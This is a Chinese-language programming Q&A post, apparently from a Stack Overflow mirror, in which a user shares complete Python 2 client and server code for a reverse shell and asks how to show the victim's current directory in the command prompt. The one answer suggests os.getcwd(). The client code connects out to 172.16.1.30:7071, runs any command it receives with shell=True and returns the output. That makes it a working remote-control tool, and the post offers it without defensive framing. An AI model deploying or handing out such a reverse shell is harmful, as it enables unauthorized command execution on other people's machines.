在Python反向shell中将当前工作目录设置为输入提示

时间:2017-05-30 13:56:55

标签: python shell input reverse prompt

这是我用python编写的简单反向shell。我试图让它变得更好。

客户端代码:

import socket
import subprocess

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)

while (cmd != 'exit'):
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    mySocket.send(cmdResult.communicate()[0])
    cmd = mySocket.recv(100)

mySocket.send('Shell closed by user.')
mySocket.close()

服务器端代码:

import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])

while True:
    command=raw_input('Shell>')
    clntConn.send(command)
    result=clntConn.recv(1024)
    if (result == 'Shell closed by user.'):
        print result
        exit(0)
    else:
        print result

如"服务器端代码" raw_input 提示符是" Shell"。 如何将其更改为客户端上的当前工作目录。

例如,如果客户端当前工作目录是" C:\ Users \ Test \ Desktop \"

我有一个raw_input提示符为" C:\ Users \ Test \ Desktop>"。

感谢。

1 个答案:

答案 0 :(得分:0)

您可以使用os.getcwd(),它应该适用于Unix和Windows。

import os
cwd = os.getcwd()